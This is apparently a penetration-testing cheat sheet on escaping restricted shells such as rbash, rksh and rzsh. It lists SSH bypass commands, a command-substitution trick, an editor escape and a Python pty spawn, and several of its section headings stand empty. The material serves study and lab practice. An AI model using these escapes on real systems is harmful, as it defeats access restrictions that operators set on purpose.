πŸšͺEscaping Restricted Shells

🎯 Overview

Techniques to break out of restricted shells (rbash, rksh, rzsh) that limit command execution, directory changes, and environment modification.

πŸ”’ Restricted Shell Types

Shell
Description

rbash

Restricted Bourne shell - limits cd, PATH modification

rksh

Restricted Korn shell - blocks shell functions, command execution

rzsh

Restricted Z shell - prevents aliases, script execution

πŸšͺ Escape Techniques

SSH Bypass Methods

# Method 1: SSH with bash noprofile
ssh user@target -t "bash --noprofile"

# Method 2: SSH with different shell
ssh user@target -t "/bin/bash"
ssh user@target -t "/bin/sh"

# Method 3: SSH command execution
ssh user@target "bash -i"

# Method 4: SSH with environment bypass
ssh user@target -t "env -i bash --norc --noprofile"

Command Injection

Environment Variable Manipulation

Built-in Command Abuse

Shell Function Exploitation

πŸ”§ Advanced Bypass Techniques

Character Escaping

Alternative Interpreters

File-based Escapes

πŸ” Enumeration & Detection

Identify Restricted Shell

Quick Escape Test Script

πŸš€ Practical Examples

HTB Academy Example

Common Escape Sequence

πŸ”‘ Quick Reference

Most Effective Methods

  1. SSH bypass: ssh user@host -t "bash --noprofile"

  2. Command substitution: ls $(bash)

  3. Environment escape: $0 or $SHELL

  4. Vi/editor escape: :!/bin/bash

  5. Python spawn: python -c "import pty; pty.spawn('/bin/bash')"

Emergency Escapes


Restricted shell escapes exploit the fundamental tension between security restrictions and functional requirements - finding gaps in command limitations to restore full shell capabilities.

Last updated